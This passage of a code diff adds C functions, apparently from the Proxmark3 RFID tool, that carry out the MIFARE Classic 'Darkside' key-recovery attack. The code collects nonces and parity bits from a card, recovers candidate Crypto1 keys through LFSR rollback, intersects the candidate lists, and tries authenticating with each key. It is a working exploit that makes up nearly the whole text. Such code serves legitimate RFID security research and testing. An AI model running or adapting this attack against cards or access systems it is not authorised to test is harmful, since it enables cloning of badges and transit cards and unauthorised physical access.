+static int compare_uint64(const void *a, const void *b) {\r
+ // didn't work: (the result is truncated to 32 bits)\r
+ //return (*(int64_t*)b - *(int64_t*)a);\r
+\r
+ // better:\r
+ if (*(uint64_t*)b == *(uint64_t*)a) return 0;\r
+ else if (*(uint64_t*)b < *(uint64_t*)a) return 1;\r
+ else return -1;\r
+}\r
+\r
+\r
+// create the intersection (common members) of two sorted lists. Lists are terminated by -1. Result will be in list1. Number of elements is returned.\r
+static uint32_t intersection(uint64_t *list1, uint64_t *list2)\r
+{\r
+ if (list1 == NULL || list2 == NULL) {\r
+ return 0;\r
+ }\r
+ uint64_t *p1, *p2, *p3;\r
+ p1 = p3 = list1;\r
+ p2 = list2;\r
+\r
+ while ( *p1 != -1 && *p2 != -1 ) {\r
+ if (compare_uint64(p1, p2) == 0) {\r
+ *p3++ = *p1++;\r
+ p2++;\r
+ }\r
+ else {\r
+ while (compare_uint64(p1, p2) < 0) ++p1;\r
+ while (compare_uint64(p1, p2) > 0) ++p2;\r
+ }\r
+ }\r
+ *p3 = -1;\r
+ return p3 - list1;\r
+}\r
+\r
+\r
+// Darkside attack (hf mf mifare)\r
+static uint32_t nonce2key(uint32_t uid, uint32_t nt, uint32_t nr, uint32_t ar, uint64_t par_info, uint64_t ks_info, uint64_t **keys) {\r
+ struct Crypto1State *states;\r
+ uint32_t i, pos;\r
+ uint8_t bt, ks3x[8], par[8][8];\r
+ uint64_t key_recovered;\r
+ uint64_t *keylist;\r
+\r
+ // Reset the last three significant bits of the reader nonce\r
+ nr &= 0xffffff1f;\r
+\r
+ for (pos=0; pos<8; pos++) {\r
+ ks3x[7-pos] = (ks_info >> (pos*8)) & 0x0f;\r
+ bt = (par_info >> (pos*8)) & 0xff;\r
+ for (i=0; i<8; i++) {\r
+ par[7-pos][i] = (bt >> i) & 0x01;\r
+ }\r
+ }\r
+\r
+ states = lfsr_common_prefix(nr, ar, ks3x, par, (par_info == 0));\r
+\r
+ if (states == NULL) {\r
+ *keys = NULL;\r
+ return 0;\r
+ }\r
+\r
+ keylist = (uint64_t*)states;\r
+\r
+ for (i = 0; keylist[i]; i++) {\r
+ lfsr_rollback_word(states+i, uid^nt, 0);\r
+ crypto1_get_lfsr(states+i, &key_recovered);\r
+ keylist[i] = key_recovered;\r
+ }\r
+ keylist[i] = -1;\r
+\r
+ *keys = keylist;\r
+ return i;\r
+}\r
+\r
+\r
+int mfDarkside(uint64_t *key)\r
+{\r
+ uint32_t uid = 0;\r
+ uint32_t nt = 0, nr = 0, ar = 0;\r
+ uint64_t par_list = 0, ks_list = 0;\r
+ uint64_t *keylist = NULL, *last_keylist = NULL;\r
+ uint32_t keycount = 0;\r
+ int16_t isOK = 0;\r
+\r
+ UsbCommand c = {CMD_READER_MIFARE, {true, 0, 0}};\r
+\r
+ // message\r
+ printf("-------------------------------------------------------------------------\n");\r
+ printf("Executing command. Expected execution time: 25sec on average\n");\r
+ printf("Press button on the proxmark3 device to abort both proxmark3 and client.\n");\r
+ printf("-------------------------------------------------------------------------\n");\r
+\r
+\r
+ while (true) {\r
+ clearCommandBuffer();\r
+ SendCommand(&c);\r
+\r
+ //flush queue\r
+ while (ukbhit()) {\r
+ int c = getchar(); (void) c;\r
+ }\r
+\r
+ // wait cycle\r
+ while (true) {\r
+ printf(".");\r
+ fflush(stdout);\r
+ if (ukbhit()) {\r
+ return -5;\r
+ break;\r
+ }\r
+\r
+ UsbCommand resp;\r
+ if (WaitForResponseTimeout(CMD_ACK, &resp, 1000)) {\r
+ isOK = resp.arg[0];\r
+ if (isOK < 0) {\r
+ return isOK;\r
+ }\r
+ uid = (uint32_t)bytes_to_num(resp.d.asBytes + 0, 4);\r
+ nt = (uint32_t)bytes_to_num(resp.d.asBytes + 4, 4);\r
+ par_list = bytes_to_num(resp.d.asBytes + 8, 8);\r
+ ks_list = bytes_to_num(resp.d.asBytes + 16, 8);\r
+ nr = (uint32_t)bytes_to_num(resp.d.asBytes + 24, 4);\r
+ ar = (uint32_t)bytes_to_num(resp.d.asBytes + 28, 4);\r
+ break;\r
+ }\r
+ }\r
+\r
+ if (par_list == 0 && c.arg[0] == true) {\r
+ PrintAndLog("Parity is all zero. Most likely this card sends NACK on every failed authentication.");\r
+ }\r
+ c.arg[0] = false;\r
+\r
+ keycount = nonce2key(uid, nt, nr, ar, par_list, ks_list, &keylist);\r
+\r
+ if (keycount == 0) {\r
+ PrintAndLog("Key not found (lfsr_common_prefix list is null). Nt=%08x", nt);\r
+ PrintAndLog("This is expected to happen in 25%% of all cases. Trying again with a different reader nonce...");\r
+ continue;\r
+ }\r
+\r
+ if (par_list == 0) {\r
+ qsort(keylist, keycount, sizeof(*keylist), compare_uint64);\r
+ keycount = intersection(last_keylist, keylist);\r
+ if (keycount == 0) {\r
+ free(last_keylist);\r
+ last_keylist = keylist;\r
+ continue;\r
+ }\r
+ }\r
+\r
+ if (keycount > 1) {\r
+ PrintAndLog("Found %u possible keys. Trying to authenticate with each of them ...\n", keycount);\r
+ } else {\r
+ PrintAndLog("Found a possible key. Trying to authenticate...\n");\r
+ }\r
+\r
+ *key = -1;\r
+ uint8_t keyBlock[USB_CMD_DATA_SIZE];\r
+ int max_keys = USB_CMD_DATA_SIZE/6;\r
+ for (int i = 0; i < keycount; i += max_keys) {\r
+ int size = keycount - i > max_keys ? max_keys : keycount - i;\r
+ for (int j = 0; j < size; j++) {\r
+ if (par_list == 0) {\r
+ num_to_bytes(last_keylist[i*max_keys + j], 6, keyBlock+(j*6));\r
+ } else {\r
+ num_to_bytes(keylist[i*max_keys + j], 6, keyBlock+(j*6));\r
+ }\r
+ }\r
+ if (!mfCheckKeys(0, 0, false, size, keyBlock, key)) {\r
+ break;\r
+ }\r
+ }\r
+\r
+ if (*key != -1) {\r
+ free(last_keylist);\r
+ free(keylist);\r
+ break;\r
+ } else {\r
+ PrintAndLog("Authentication failed. Trying again...");\r
+ free(last_keylist);\r
+ last_keylist = keylist;\r
+ }\r
+ }\r
+\r
+ return 0;\r
+}\r
+\r
+\r